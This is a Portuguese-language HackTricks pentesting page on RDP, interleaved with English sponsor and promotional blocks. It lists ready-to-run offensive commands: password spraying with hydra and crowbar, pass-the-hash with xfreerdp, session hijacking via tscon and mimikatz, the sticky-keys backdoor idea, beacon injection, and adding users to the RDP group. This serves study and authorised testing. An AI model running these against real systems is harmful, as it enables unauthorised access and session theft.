9.8 KiB
3389 - Pentesting RDP
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Configuração disponível instantaneamente para avaliação de vulnerabilidades e testes de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Informações Básicas
Desenvolvido pela Microsoft, o Remote Desktop Protocol (RDP) é projetado para permitir uma conexão de interface gráfica entre computadores através de uma rede. Para estabelecer tal conexão, o software cliente RDP é utilizado pelo usuário, e, simultaneamente, o computador remoto deve operar o software servidor RDP. Essa configuração permite o controle e acesso sem interrupções ao ambiente de desktop de um computador distante, essencialmente trazendo sua interface para o dispositivo local do usuário.
Porta padrão: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeração
Automático
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Ele verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).
Força bruta
Cuidado, você pode bloquear contas
Spraying de Senhas
Cuidado, você pode bloquear contas
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Conectar com credenciais/hash conhecidas
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verifique credenciais conhecidas contra serviços RDP
rdp_check.py do impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP:
rdp_check <domain>/<name>:<password>@<IP>
Configuração instantaneamente disponível para avaliação de vulnerabilidades e pentesting. Realize um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, executar shells e se divertir.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ataques
Roubo de sessão
Com permissões de SYSTEM você pode acessar qualquer sessão RDP aberta por qualquer usuário sem precisar saber a senha do proprietário.
Obter sessões abertas:
query user
Acesso à sessão selecionada
tscon <ID> /dest:<SESSIONNAME>
Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.
Importante: Ao acessar uma sessão RDP ativa, você desconectará o usuário que estava utilizando-a.
Você pode obter senhas do processo despejando-o, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
Mimikatz
Você também pode usar o mimikatz para fazer isso:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Combinando esta técnica com stickykeys ou utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento
Você pode procurar RDPs que foram backdoor com uma dessas técnicas já com: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Se alguém de um domínio diferente ou com melhores privilégios fizer login via RDP no PC onde você é um Admin, você pode injetar seu beacon no processo da sessão RDP dele e agir como ele:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Ferramentas Automáticas
AutoRDPwn é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque Shadow em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto veja a área de trabalho de sua vítima sem o seu consentimento, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
- EvilRDP
- Controlar mouse e teclado de forma automatizada a partir da linha de comando
- Controlar a área de transferência de forma automatizada a partir da linha de comando
- Criar um proxy SOCKS a partir do cliente que canaliza a comunicação de rede para o alvo via RDP
- Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
- Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo
Comandos Automáticos HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Configuração disponível instantaneamente para avaliação de vulnerabilidades e testes de penetração. Realize um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, explorar vulnerabilidades e se divertir.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.